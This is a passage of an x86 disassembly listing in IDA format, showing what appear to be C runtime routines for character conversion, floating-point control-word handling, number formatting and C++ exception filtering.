[ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 2710000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_423D29 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41BD10 add esp, 0Ch jmp short loc_423CF8 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423CF8: ; CODE XREF: sub_423BF4+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423D29 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2710000h cmp eax, ebx jz short loc_423D29 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call near ptr 2600000h nop jmp short loc_423D2B ; --------------------------------------------------------------------------- loc_423D29: ; CODE XREF: sub_423BF4+61j ; sub_423BF4+9Bj ... xor eax, eax loc_423D2B: ; CODE XREF: sub_423BF4+93j ; sub_423BF4+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423BF4 endp ; =============== S U B R O U T I N E ======================================= sub_423D3D proc near ; CODE XREF: sub_41F4BF+61p ; sub_42037B+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DAB60 jb short loc_423D4C xor eax, eax retn ; --------------------------------------------------------------------------- loc_423D4C: ; CODE XREF: sub_423D3D+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DAA60[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423D3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423D63 proc near ; CODE XREF: sub_41F5D4+2D4p ; sub_41F5D4+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423D6F pop ebp retn ; --------------------------------------------------------------------------- loc_423D6F: ; CODE XREF: sub_423D63+8j cmp dword_4D97D0, 0 jnz short loc_423D8A mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423DBC push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423D8A: ; CODE XREF: sub_423D63+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43A88C push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4D97E0 call near ptr 28410D6h nop test eax, eax jz short loc_423DBC cmp [ebp+arg_0], 0 jz short loc_423DC9 loc_423DBC: ; CODE XREF: sub_423D63+1Ej ; sub_423D63+51j mov dword_4D9714, 2Ah or eax, 0FFFFFFFFh loc_423DC9: ; CODE XREF: sub_423D63+57j pop ebp retn sub_423D63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423DCB proc near ; CODE XREF: sub_420445+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423DEE cmp [ebp+arg_8], ebx jz short loc_423DEE mov al, [esi] cmp al, bl jnz short loc_423DF4 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423DEE mov [eax], bx loc_423DEE: ; CODE XREF: sub_423DCB+Cj ; sub_423DCB+11j ... xor eax, eax loc_423DF0: ; CODE XREF: sub_423DCB+42j ; sub_423DCB+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423DF4: ; CODE XREF: sub_423DCB+17j cmp dword_4D97D0, ebx jnz short loc_423E0F mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423E0A movzx ax, al mov [ecx], ax loc_423E0A: ; CODE XREF: sub_423DCB+36j ; sub_423DCB+C0j push 1 pop eax jmp short loc_423DF0 ; --------------------------------------------------------------------------- loc_423E0F: ; CODE XREF: sub_423DCB+2Fj mov ecx, off_43A680 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423E6C mov eax, dword_43A88C cmp eax, 1 jle short loc_423E53 cmp [ebp+arg_8], eax jl short loc_423E5D xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4D97E0 call near ptr 2710000h nop test eax, eax mov eax, dword_43A88C jnz short loc_423DF0 loc_423E53: ; CODE XREF: sub_423DCB+5Cj cmp [ebp+arg_8], eax jb short loc_423E5D cmp [esi+1], bl jnz short loc_423DF0 loc_423E5D: ; CODE XREF: sub_423DCB+61j ; sub_423DCB+8Bj ... mov dword_4D9714, 2Ah or eax, 0FFFFFFFFh jmp short loc_423DF0 ; --------------------------------------------------------------------------- loc_423E6C: ; CODE XREF: sub_423DCB+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4D97E0 nop call near ptr 2710000h test eax, eax jnz loc_423E0A jmp short loc_423E5D sub_423DCB endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423EA0 proc near ; CODE XREF: sub_420445+797p ; sub_420445+7E7p cmp cl, 40h jnb short loc_423EBA cmp cl, 20h jnb short loc_423EB0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423EB0: ; CODE XREF: sub_423EA0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423EBA: ; CODE XREF: sub_423EA0+3j xor eax, eax xor edx, edx retn sub_423EA0 endp ; =============== S U B R O U T I N E ======================================= sub_423EBF proc near ; CODE XREF: sub_420EBB+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423F0B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423EDD test al, 80h jz short loc_423F0B test al, 2 jnz short loc_423F0B loc_423EDD: ; CODE XREF: sub_423EBF+14j cmp dword ptr [esi+8], 0 jnz short loc_423EEA push esi call sub_4238F7 pop ecx loc_423EEA: ; CODE XREF: sub_423EBF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423EFA cmp dword ptr [esi+4], 0 jnz short loc_423F0B inc eax mov [esi], eax loc_423EFA: ; CODE XREF: sub_423EBF+30j test byte ptr [esi+0Ch], 40h jz short loc_423F11 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_423F17 inc eax mov [esi], eax loc_423F0B: ; CODE XREF: sub_423EBF+9j ; sub_423EBF+18j ... or eax, 0FFFFFFFFh loc_423F0E: ; CODE XREF: sub_423EBF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_423F11: ; CODE XREF: sub_423EBF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_423F17: ; CODE XREF: sub_423EBF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423F0E sub_423EBF endp ; =============== S U B R O U T I N E ======================================= sub_423F2D proc near ; CODE XREF: sub_4214AB+52p xor eax, eax retn sub_423F2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423F30 proc near ; CODE XREF: sub_423F65+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_423F7B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42400D pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_423F30 endp ; =============== S U B R O U T I N E ======================================= sub_423F65 proc near ; CODE XREF: sub_421797+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_423F30 pop ecx pop ecx retn sub_423F65 endp ; =============== S U B R O U T I N E ======================================= sub_423F7B proc near ; CODE XREF: sub_423F30+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_423F8C push 10h pop eax loc_423F8C: ; CODE XREF: sub_423F7B+Cj test bl, 4 jz short loc_423F93 or al, 8 loc_423F93: ; CODE XREF: sub_423F7B+14j test bl, 8 jz short loc_423F9A or al, 4 loc_423F9A: ; CODE XREF: sub_423F7B+1Bj test bl, 10h jz short loc_423FA1 or al, 2 loc_423FA1: ; CODE XREF: sub_423F7B+22j test bl, 20h jz short loc_423FA8 or al, 1 loc_423FA8: ; CODE XREF: sub_423F7B+29j test bl, 2 jz short loc_423FB2 or eax, 80000h loc_423FB2: ; CODE XREF: sub_423F7B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_423FEA cmp edx, 400h jz short loc_423FE7 cmp edx, 800h jz short loc_423FE3 cmp edx, esi jnz short loc_423FEA or eax, edi jmp short loc_423FEA ; --------------------------------------------------------------------------- loc_423FE3: ; CODE XREF: sub_423F7B+5Ej or eax, ebp jmp short loc_423FEA ; --------------------------------------------------------------------------- loc_423FE7: ; CODE XREF: sub_423F7B+56j or ah, 1 loc_423FEA: ; CODE XREF: sub_423F7B+4Ej ; sub_423F7B+62j ... and ecx, edi pop esi jz short loc_423FFA cmp ecx, ebp jnz short loc_423FFF or eax, 10000h jmp short loc_423FFF ; --------------------------------------------------------------------------- loc_423FFA: ; CODE XREF: sub_423F7B+72j or eax, 20000h loc_423FFF: ; CODE XREF: sub_423F7B+76j ; sub_423F7B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42400C or eax, 40000h locret_42400C: ; CODE XREF: sub_423F7B+8Aj retn sub_423F7B endp ; =============== S U B R O U T I N E ======================================= sub_42400D proc near ; CODE XREF: sub_423F30+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42401D push 1 pop eax loc_42401D: ; CODE XREF: sub_42400D+Bj test bl, 8 jz short loc_424024 or al, 4 loc_424024: ; CODE XREF: sub_42400D+13j test bl, 4 jz short loc_42402B or al, 8 loc_42402B: ; CODE XREF: sub_42400D+1Aj test bl, 2 jz short loc_424032 or al, 10h loc_424032: ; CODE XREF: sub_42400D+21j test bl, 1 jz short loc_424039 or al, 20h loc_424039: ; CODE XREF: sub_42400D+28j test ebx, 80000h jz short loc_424043 or al, 2 loc_424043: ; CODE XREF: sub_42400D+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424070 cmp ecx, 100h jz short loc_42406D cmp ecx, esi jz short loc_424068 cmp ecx, edx jnz short loc_424070 or ah, 0Ch jmp short loc_424070 ; --------------------------------------------------------------------------- loc_424068: ; CODE XREF: sub_42400D+50j or ah, 8 jmp short loc_424070 ; --------------------------------------------------------------------------- loc_42406D: ; CODE XREF: sub_42400D+4Cj or ah, 4 loc_424070: ; CODE XREF: sub_42400D+44j ; sub_42400D+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424086 cmp ecx, 10000h jnz short loc_424088 or eax, esi jmp short loc_424088 ; --------------------------------------------------------------------------- loc_424086: ; CODE XREF: sub_42400D+6Bj or eax, edx loc_424088: ; CODE XREF: sub_42400D+73j ; sub_42400D+77j pop esi test ebx, 40000h pop ebx jz short locret_424095 or ah, 10h locret_424095: ; CODE XREF: sub_42400D+83j retn sub_42400D endp ; =============== S U B R O U T I N E ======================================= sub_424096 proc near ; CODE XREF: sub_424135+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4240DB inc esi cmp esi, 3 jge short loc_4240D6 lea eax, [eax+esi*4] loc_4240C8: ; CODE XREF: sub_424096+3Ej cmp dword ptr [eax], 0 jnz short loc_4240DB inc esi add eax, 4 cmp esi, 3 jl short loc_4240C8 loc_4240D6: ; CODE XREF: sub_424096+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4240DB: ; CODE XREF: sub_424096+27j ; sub_424096+35j xor eax, eax pop esi retn sub_424096 endp ; =============== S U B R O U T I N E ======================================= sub_4240DF proc near ; CODE XREF: sub_424135+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_424F2C add esp, 0Ch dec esi js short loc_424131 lea edi, [ebx+esi*4] loc_424118: ; CODE XREF: sub_4240DF+50j test eax, eax jz short loc_424131 push edi push 1 push dword ptr [edi] call sub_424F2C add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424118 loc_424131: ; CODE XREF: sub_4240DF+34j ; sub_4240DF+3Bj pop edi pop esi pop ebx retn sub_4240DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424135 proc near ; CODE XREF: sub_424290+81p ; sub_424290+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424199 inc ebx push ebx push [ebp+arg_0] call sub_424096 pop ecx test eax, eax pop ecx jnz short loc_424196 push edi push [ebp+arg_0] call sub_4240DF pop ecx mov [ebp+var_4], eax pop ecx loc_424196: ; CODE XREF: sub_424135+51j mov eax, [ebp+arg_4] loc_424199: ; CODE XREF: sub_424135+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4241B9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4241B9: ; CODE XREF: sub_424135+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424135 endp ; =============== S U B R O U T I N E ======================================= sub_4241C1 proc near ; CODE XREF: sub_424290+75p ; sub_424290+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4241CF: ; CODE XREF: sub_4241C1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4241CF pop esi retn sub_4241C1 endp ; =============== S U B R O U T I N E ======================================= sub_4241DC proc near ; CODE XREF: sub_424290+5Fp ; sub_424290+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4241DC endp ; =============== S U B R O U T I N E ======================================= sub_4241E8 proc near ; CODE XREF: sub_424290+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4241EE: ; CODE XREF: sub_4241E8+12j cmp dword ptr [eax], 0 jnz short loc_424200 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4241EE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_424200: ; CODE XREF: sub_4241E8+9j xor eax, eax retn sub_4241E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424203 proc near ; CODE XREF: sub_424290+C0p ; sub_424290+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424239: ; CODE XREF: sub_424203+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424239 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42426B: ; CODE XREF: sub_424203+86j cmp ebx, edi jl short loc_42427E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424285 ; --------------------------------------------------------------------------- loc_42427E: ; CODE XREF: sub_424203+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424285: ; CODE XREF: sub_424203+79j dec ebx sub ecx, 4 jns short loc_42426B pop edi pop esi pop ebx leave retn sub_424203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424290 proc near ; CODE XREF: sub_4243FC+Dp ; sub_424412+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4242FD lea eax, [ebp+var_C] xor esi, esi push eax call sub_4241E8 test eax, eax pop ecx jnz loc_4243BC lea eax, [ebp+var_C] push eax call sub_4241DC pop ecx loc_4242F5: ; CODE XREF: sub_424290+E4j push 2 loc_4242F7: ; CODE XREF: sub_424290+110j pop eax jmp loc_4243BE ; --------------------------------------------------------------------------- loc_4242FD: ; CODE XREF: sub_424290+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4241C1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424135 add esp, 10h test eax, eax jz short loc_42431E inc ebx loc_42431E: ; CODE XREF: sub_424290+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424336 lea eax, [ebp+var_C] push eax call sub_4241DC pop ecx jmp short loc_424372 ; --------------------------------------------------------------------------- loc_424336: ; CODE XREF: sub_424290+98j cmp ebx, eax jg short loc_424379 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4241C1 lea eax, [ebp+var_C] push esi push eax call sub_424203 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424135 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_424203 add esp, 20h loc_424372: ; CODE XREF: sub_424290+A4j xor esi, esi jmp loc_4242F5 ; --------------------------------------------------------------------------- loc_424379: ; CODE XREF: sub_424290+A8j cmp ebx, [edi] jl short loc_4243A5 lea eax, [ebp+var_C] push eax call sub_4241DC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_424203 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4242F7 ; --------------------------------------------------------------------------- loc_4243A5: ; CODE XREF: sub_424290+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_424203 pop ecx pop ecx loc_4243BC: ; CODE XREF: sub_424290+55j xor eax, eax loc_4243BE: ; CODE XREF: sub_424290+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4243ED mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4243F7 ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424290+14Ej cmp edi, 20h jnz short loc_4243F7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4243F7: ; CODE XREF: sub_424290+15Bj ; sub_424290+160j pop edi pop esi pop ebx leave retn sub_424290 endp ; =============== S U B R O U T I N E ======================================= sub_4243FC proc near ; CODE XREF: sub_424428+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43B008 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424290 add esp, 0Ch retn sub_4243FC endp ; =============== S U B R O U T I N E ======================================= sub_424412 proc near ; CODE XREF: sub_424455+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43B020 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424290 add esp, 0Ch retn sub_424412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424428 proc near ; CODE XREF: sub_4218D0+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4250CD push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4243FC add esp, 24h leave retn sub_424428 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424455 proc near ; CODE XREF: sub_4218D0+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4250CD push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424412 add esp, 24h leave retn sub_424455 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424482 proc near ; CODE XREF: sub_42190E+65p ; sub_421A12+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4244BF mov [ebp+arg_0], ebx xor ebx, ebx loc_4244A5: ; CODE XREF: sub_424482+38j mov dl, [ecx] test dl, dl jz short loc_4244B1 movsx edx, dl inc ecx jmp short loc_4244B4 ; --------------------------------------------------------------------------- loc_4244B1: ; CODE XREF: sub_424482+27j push 30h pop edx loc_4244B4: ; CODE XREF: sub_424482+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_4244A5 mov edx, [ebp+arg_8] loc_4244BF: ; CODE XREF: sub_424482+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4244D8 cmp byte ptr [ecx], 35h jl short loc_4244D8 loc_4244CB: ; CODE XREF: sub_424482+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4244D6 mov byte ptr [eax], 30h jmp short loc_4244CB ; --------------------------------------------------------------------------- loc_4244D6: ; CODE XREF: sub_424482+4Dj inc byte ptr [eax] loc_4244D8: ; CODE XREF: sub_424482+42j ; sub_424482+47j cmp byte ptr [esi], 31h jnz short loc_4244E2 inc dword ptr [edx+4] jmp short loc_4244F4 ; --------------------------------------------------------------------------- loc_4244E2: ; CODE XREF: sub_424482+59j push edi call sub_41B960 inc eax push eax push edi push esi call sub_41D400 add esp, 10h loc_4244F4: ; CODE XREF: sub_424482+5Ej pop edi pop esi pop ebx pop ebp retn sub_424482 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4244F9 proc near ; CODE XREF: sub_42190E+3Fp ; sub_421A12+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42455D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4D9908 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_42559E mov dword_4D9930, eax add esp, 18h movsx eax, byte_4D990A mov dword_4D9928, eax pop edi movsx eax, word_4D9908 mov dword_4D992C, eax mov dword_4D9934, offset dword_4D990C mov eax, offset dword_4D9928 pop esi leave retn sub_4244F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42455D proc near ; CODE XREF: sub_4244F9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_4245AB cmp ebx, edi jz short loc_4245A4 lea edi, [ecx+3C00h] jmp short loc_4245CC ; --------------------------------------------------------------------------- loc_4245A4: ; CODE XREF: sub_42455D+3Dj mov edi, 7FFFh jmp short loc_4245CC ; --------------------------------------------------------------------------- loc_4245AB: ; CODE XREF: sub_42455D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4245C3 cmp edx, ebx jnz short loc_4245C3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_42460E ; --------------------------------------------------------------------------- loc_4245C3: ; CODE XREF: sub_42455D+52j ; sub_42455D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4245CC: ; CODE XREF: sub_42455D+45j ; sub_42455D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4245E4: ; CODE XREF: sub_42455D+A6j test ecx, esi jnz short loc_424605 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_424605: ; CODE XREF: sub_42455D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_42460E: ; CODE XREF: sub_42455D+64j pop edi pop esi pop ebx leave retn sub_42455D endp ; --------------------------------------------------------------------------- push 2 call sub_41E1C9 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42461C proc near ; DATA XREF: ___:0043AC40o ; ___:0043B4A8o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42463F cmp dword ptr [eax+10h], 3 jnz short loc_42463F cmp dword ptr [eax+14h], 19930520h jnz short loc_42463F jmp sub_42249C ; --------------------------------------------------------------------------- loc_42463F: ; CODE XREF: sub_42461C+Dj ; sub_42461C+13j ... mov eax, dword_4D9938 test eax, eax jz short loc_42465C push eax call sub_4246B8 test eax, eax pop ecx jz short loc_42465C push esi call dword_4D9938 jmp short loc_42465E ; --------------------------------------------------------------------------- loc_42465C: ; CODE XREF: sub_42461C+2Aj ; sub_42461C+35j xor eax, eax loc_42465E: ; CODE XREF: sub_42461C+3Ej pop esi retn 4 sub_42461C endp ; --------------------------------------------------------------------------- word_424662 dw 1C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc esi inc edx add [eax+1CC910E8h], dl add ah, byte ptr dword_4D9938[ebx] retn ; --------------------------------------------------------------------------- byte_424673 db 0FFh ; DATA XREF: ___:00429040o dd 4D993835h, 0FEE89000h, 0C3021CC8h ; =============== S U B R O U T I N E ======================================= sub_424680 proc near ; CODE XREF: sub_421CE6+6Bp ; sub_4221F7+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 25F0ADDh test eax, eax jz short loc_424698 xor esi, esi loc_424698: ; CODE XREF: sub_424680+14j mov eax, esi pop esi retn sub_424680 endp ; =============== S U B R O U T I N E ======================================= sub_42469C proc near ; CODE XREF: sub_4221F7+73p ; sub_4221F7+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 26707BBh test eax, eax jz short loc_4246B4 xor esi, 